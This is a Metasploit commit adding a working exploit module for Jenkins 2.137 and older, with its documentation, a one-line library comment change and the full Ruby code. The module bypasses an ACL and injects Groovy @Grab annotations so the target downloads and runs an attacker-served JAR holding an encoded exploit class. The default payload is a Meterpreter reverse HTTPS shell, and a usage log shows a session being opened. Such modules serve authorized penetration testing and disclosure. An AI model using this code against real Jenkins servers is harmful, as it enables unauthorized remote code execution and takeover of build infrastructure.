Land #11466, Add Jenkins ACL bypass and metaprogramming RCE

master
Jacob Robles 2019-03-18 07:21:13 -05:00
commit 24143f812c
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
3 changed files with 357 additions and 1 deletions

View File

@ -0,0 +1,76 @@
## Intro
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the `Overall/Read` ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
## Setup
1. `git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc`
2. `cd cve-2019-1003000-jenkins-rce-poc/sample-vuln`
3. Edit `run.sh` and change `2.152-alpine` to `2.137`
4. `./run.sh`
## Targets
```
Id Name
-- ----
0 Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)
```
## Options
**RPORT**
Set this to the Jenkins port. The default is 8080.
**TARGETURI**
Set this to the Jenkins base path. The default is `/`.
**SRVPORT**
Set this to the port on which to serve the payload. Change it from 8080
to something like 8081 if you are testing Jenkins locally on port 8080.
**ForceExploit**
Set this to `true` to override the `check` result during exploitation.
## Usage
```
msf5 exploit(multi/http/jenkins_metaprogramming) > run
[*] Started HTTPS reverse handler on https://192.168.1.2:8443
[*] Jenkins 2.137 detected
[+] Jenkins 2.137 is a supported target
[+] ACL bypass successful
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.2:8081/
[*] Sending Jenkins and Groovy go-go-gadgets
[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.pom requested
[-] Sending 404
[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.jar requested
[+] Sending 200
[*] GET /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.jar requested
[+] Sending payload JAR
[*] https://192.168.1.2:8443 handling request from 192.168.1.2; (UUID: qlrpxu6t) Staging java payload (54399 bytes) ...
[*] Meterpreter session 1 opened (192.168.1.2:8443 -> 192.168.1.2:58688) at 2019-03-15 18:57:24 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of '$HOME/.groovy/grapes/CarisaChristiansen' on the target
meterpreter > getuid
Server username: jenkins
meterpreter > sysinfo
Computer : 6f21b8da2915
OS : Linux 4.9.93-linuxkit-aufs (amd64)
Meterpreter : java/linux
meterpreter >
```

View File

@ -204,7 +204,7 @@ module Exploit::Remote::HttpServer
end
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
# specified by the user in URIPATH.
# specified by the developer in opts['Path'] or by the user in URIPATH.
#
# @note This MUST be called from {#primer} so that the service has been set
# up but we have not yet entered the listen/accept loop.

View File

@ -0,0 +1,280 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
},
'Author' => [
'Orange Tsai', # Discovery and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
['EDB', '46427'],
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
],
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
'Version' => Gem::Version.new('2.137')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
},
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!
))
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
deregister_options('URIPATH')
end
=begin
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
=end
def check
checkcode = CheckCode::Safe
res = send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1('/search/index'),
'vars_get' => {'q' => 'a'}
)
unless res && (version = res.headers['X-Jenkins'])
vprint_error('Jenkins not detected')
return CheckCode::Unknown
end
vprint_status("Jenkins #{version} detected")
checkcode = CheckCode::Detected
if Gem::Version.new(version) > target['Version']
vprint_error("Jenkins #{version} is not a supported target")
return CheckCode::Safe
end
vprint_good("Jenkins #{version} is a supported target")
checkcode = CheckCode::Appears
if res.body.include?('Administrator')
vprint_good('ACL bypass successful')
checkcode = CheckCode::Vulnerable
else
vprint_error('ACL bypass unsuccessful')
return CheckCode::Safe
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/')
datastore['SSL'] = ssl
print_status('Sending Jenkins and Groovy go-go-gadgets')
send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1,
'vars_get' => {'value' => go_go_gadget2}
)
end
#
# Exploit methods
#
=begin
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai
=end
def go_go_gadget1(custom_uri = nil)
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
return normalize_uri(acl_bypass, custom_uri) if custom_uri
normalize_uri(
acl_bypass,
'/descriptorByName',
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
)
end
=begin
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
=end
def go_go_gadget2
(
<<~EOF
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
).strip
end
#
# Payload methods
#
#
# If you deviate from the following sequence, you will suffer!
#
# HEAD /path/to/pom.xml -> 404
# HEAD /path/to/payload.jar -> 200
# GET /path/to/payload.jar -> 200
#
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri} requested")
unless %w[HEAD GET].include?(request.method)
vprint_error("Ignoring #{request.method} request")
return
end
if request.method == 'HEAD'
if request.uri != payload_uri
vprint_error('Sending 404')
return send_not_found(cli)
end
vprint_good('Sending 200')
return send_response(cli, '')
end
if request.uri != payload_uri
vprint_error('Sending bogus file')
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
end
vprint_good('Sending payload JAR')
send_response(
cli,
payload_jar,
'Content-Type' => 'application/java-archive'
)
# XXX: $HOME may not work in some cases
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
end
def payload_jar
jar = payload.encoded_jar
jar.add_file("#{app}.class", exploit_class)
jar.add_file(
'META-INF/services/org.codehaus.groovy.plugins.Runners',
"#{app}\n"
)
jar.pack
end
=begin javac Exploit.java
import metasploit.Payload;
public class Exploit {
public Exploit(){
try {
Payload.main(null);
} catch (Exception e) { }
}
}
=end
def exploit_class
klass = Rex::Text.decode_base64(
<<~EOF
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl
Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n
L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q
twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
AAAA
EOF
)
# Replace length-prefixed string "Exploit" with a random one
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
end
#
# Utility methods
#
def payload_uri
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
end
def vendor
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
end
def app
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
end
def version
@version ||= Faker::App.semantic_version
end
end